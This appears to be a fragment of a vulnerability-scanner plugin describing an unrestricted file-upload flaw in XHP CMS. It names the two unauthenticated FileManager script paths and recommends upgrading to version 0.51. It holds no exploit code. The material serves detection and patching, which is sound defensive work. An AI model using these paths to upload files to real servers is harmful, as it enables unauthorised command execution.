tag_summary = "The remote webserver is hosting a PHP script which 
is vulnerable to a unrestricted file upload flaw. 

Description :

XHP CMS is installed on the remote system.  
The installed application does not authenticate users to access 
the FileManager scripts located at: 

'/inc/htmlarea/plugins/FileManager/manager.php'

and

'/inc/htmlarea/plugins/FileManager/standalonemanager.php' 

This allows an attacker to upload content to the webserver, and
execute arbitrary commands with privileges of the webserver account.";

tag_solution = "Upgrade to version 0.51 or a newer release.";
